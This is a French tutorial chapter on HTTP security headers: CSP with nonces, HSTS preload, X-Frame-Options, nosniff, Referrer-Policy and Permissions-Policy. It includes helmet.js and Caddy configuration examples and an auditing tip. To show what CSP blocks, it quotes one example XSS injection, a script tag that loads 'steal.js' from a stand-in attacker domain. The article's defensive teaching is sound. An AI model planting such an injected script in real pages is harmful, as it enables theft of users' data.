HTTP en profondeur - 19 - Security headers : CSP, HSTS et compagnie

Les headers de sécurité HTTP essentiels : CSP, HSTS, X-Frame-Options, helmet.js et les outils pour vérifier.

19 - Security headers : CSP, HSTS et compagnie

Ce que tu vas apprendre

  • Content-Security-Policy et comment bloquer les XSS
  • HSTS et pourquoi il faut forcer HTTPS partout
  • X-Frame-Options, X-Content-Type-Options, Referrer-Policy
  • Permissions-Policy pour limiter les APIs du navigateur
  • helmet.js et les configs par défaut de Caddy
  • Comment auditer tes headers

Prerequisites


J'ai un aveu a faire. Pendant mes premières annees de dev web, je ne mettais aucun header de sécurité. Aucun. Et ca marchait. Les pages s'affichaient, les formulaires fonctionnaient, les APIs repondaient. Sauf que "ca marche" et "c'est sécurisé" sont deux choses tres différentes. Les headers de sécurité sont ta première ligne de defense cote navigateur. Ils ne coutent rien a mettre en place et bloquent des categories entières d'attaques.

Content-Security-Policy (CSP)

CSP est le header le plus puissant et le plus complexe. Il dit au navigateur exactement d'ou les ressources peuvent etre chargees.

httpContent-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com

Traduction : les scripts ne viennent que de mon domaine et de mon CDN. Les styles peuvent etre inline (pas ideal mais pragmatique). Les images de n'importe ou. Les requêtes AJAX uniquement vers mon API.

Si un attaquant injecte <script src="https://evil.com/steal.js"> dans ta page, le navigateur le bloque. Le script ne vient pas d'une source autorisee. C'est la mort de 80% des attaques XSS.

Les directives principales :

  • default-src : fallback pour tout ce qui n'est pas specifie
  • script-src : JavaScript
  • style-src : CSS
  • img-src : images
  • connect-src : XHR, fetch, WebSocket
  • font-src : polices
  • frame-src : iframes
  • media-src : audio et video
  • object-src : plugins (Flash, Java). Mets 'none', c'est 2026

Le piège de CSP : 'unsafe-inline' et 'unsafe-eval'. Ils desactivent la protection contre les scripts inline et eval(). Beaucoup de frameworks en ont besoin (malheureusement). La solution propre : utiliser des nonces ou des hashes.

httpContent-Security-Policy: script-src 'nonce-abc123'
html<script nonce="abc123">
  // Ce script est autorise
</script>

Le nonce doit etre différent a chaque chargement de page. Next.js et d'autres frameworks generent ca automatiquement.

Mode report-only : si tu as peur de casser ton site, commence par :

httpContent-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Le navigateur te signale les violations sans rien bloquer. Tu ajustes ta policy, puis tu passes en mode enforcement.

Strict-Transport-Security (HSTS)

httpStrict-Transport-Security: max-age=63072000; includeSubDomains; preload

Ce header dit au navigateur : "Ne me contacte JAMAIS en HTTP. Toujours HTTPS. Pendant les 2 prochaines annees." Meme si l'utilisateur tape http:// dans la barre d'adresse, le navigateur convertit en https:// avant d'envoyer la requête.

Sans HSTS, la première requête peut etre en HTTP, ce qui ouvre une fenêtre pour une attaque man-in-the-middle. Avec HSTS, cette fenêtre est fermee (sauf la toute première visite).

Le preload va plus loin : tu peux soumettre ton domaine a la HSTS preload list. Les navigateurs incluent cette liste en dur. Meme la première visite sera en HTTPS. paltemps.fr est sur cette liste.

Attention : une fois preloade, c'est quasi irreversible. Si tu perds ton certificat SSL, ton site est inaccessible. Pas de fallback HTTP possible.

X-Frame-Options

httpX-Frame-Options: DENY

Empeche ta page d'etre chargee dans un iframe. Protection contre le clickjacking : un attaquant met ton site dans un iframe invisible et place des boutons par-dessus pour pieger l'utilisateur.

Trois valeurs :

  • DENY : jamais dans un iframe
  • SAMEORIGIN : uniquement depuis le meme domaine
  • ALLOW-FROM https://trusted.com : depuis un domaine spécifique (déprécié, utilise CSP frame-ancestors a la place)

La version moderne est la directive CSP :

httpContent-Security-Policy: frame-ancestors 'none'

Mais X-Frame-Options est encore utile comme fallback pour les vieux navigateurs.

X-Content-Type-Options

httpX-Content-Type-Options: nosniff

Un seul mot, un header simple, mais critique. Sans ce header, le navigateur peut faire du "MIME sniffing" : deviner le type d'un fichier à partir de son contenu. Un fichier uploade par un attaquant avec du JavaScript dedans pourrait etre interprète comme un script, meme si le serveur dit que c'est du texte.

Avec nosniff, le navigateur fait confiance au Content-Type du serveur. Point final.

Referrer-Policy

httpReferrer-Policy: strict-origin-when-cross-origin

Contrôle ce qui est envoye dans le header Referer quand l'utilisateur clique sur un lien sortant.

Les options utiles :

  • no-referrer : n'envoie rien. Maximum de confidentialite
  • same-origin : envoie le referrer uniquement pour les requêtes same-origin
  • strict-origin-when-cross-origin : envoie l'origine (pas le chemin complet) pour les requêtes cross-origin en HTTPS. Bon compromis

Pourquoi c'est important : si ton URL contient des tokens ou des identifiants (/reset-password?token=abc123), le referrer peut les fuiter vers des sites tiers.

Permissions-Policy

Anciennement Feature-Policy. Contrôle quelles APIs du navigateur ton site peut utiliser :

httpPermissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()

Traduction : pas de camera, pas de micro, geolocation uniquement pour mon domaine, pas de paiement. Si un script tiers tente d'acceder a la camera, le navigateur bloque.

C'est particulièrement utile si tu charges des scripts tiers (analytics, ads, widgets). Tu limites ce qu'ils peuvent faire.

helmet.js : la solution express

Si tu utilises Express.js, helmet.js ajoute la plupart de ces headers en une ligne :

javascriptconst helmet = require("helmet");
app.use(helmet());

Par défaut, helmet active :

  • X-Content-Type-Options: nosniff
  • X-Frame-Options: SAMEORIGIN
  • Strict-Transport-Security (avec un max-age raisonnable)
  • X-XSS-Protection: 0 (désactivé le vieux filtre XSS des navigateurs, qui posait plus de problèmes qu'il n'en resolvait)
  • Retire le header X-Powered-By (pas besoin de dire au monde que tu utilises Express)

Pour CSP, tu dois configurer manuellement :

javascriptapp.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
    },
  })
);

Caddy : sécurisé par défaut

Caddy ajoute automatiquement plusieurs headers de sécurité. C'est une des raisons pour lesquelles je le recommande comme reverse proxy. Mais pour CSP, il faut le configurer soi-meme :

example.com {
    header {
        Content-Security-Policy "default-src 'self'"
        X-Frame-Options "DENY"
        X-Content-Type-Options "nosniff"
        Referrer-Policy "strict-origin-when-cross-origin"
        Permissions-Policy "camera=(), microphone=()"
    }
    reverse_proxy localhost:3000
}

Auditer tes headers

Va sur securityheaders.com et entre ton URL. Le site analyse les headers de ta réponse et donne une note de A+ a F. La première fois que j'ai teste un de mes sites, j'ai eu un D. Ca pique, mais ca motive.

En ligne de commande :

bashcurl -I https://example.com

Verifie que tu vois bien CSP, HSTS, X-Frame-Options et X-Content-Type-Options dans la réponse.

Résumé

  • CSP bloque les XSS en controlant d'ou viennent les ressources
  • HSTS force HTTPS et elimine le risque de downgrade
  • X-Frame-Options protégé contre le clickjacking
  • X-Content-Type-Options empeche le MIME sniffing
  • Referrer-Policy évité de fuiter des URLs sensibles
  • helmet.js pour Express, config manuelle pour Caddy/Nginx
  • securityheaders.com pour auditer rapidement

Article précédent : 18 - WebSocket Article suivant : 20 - Debugger HTTP

Sources

Réservez un audit gratuit de 30 minutes. Je vous montre concrètement ce qu'on peut automatiser.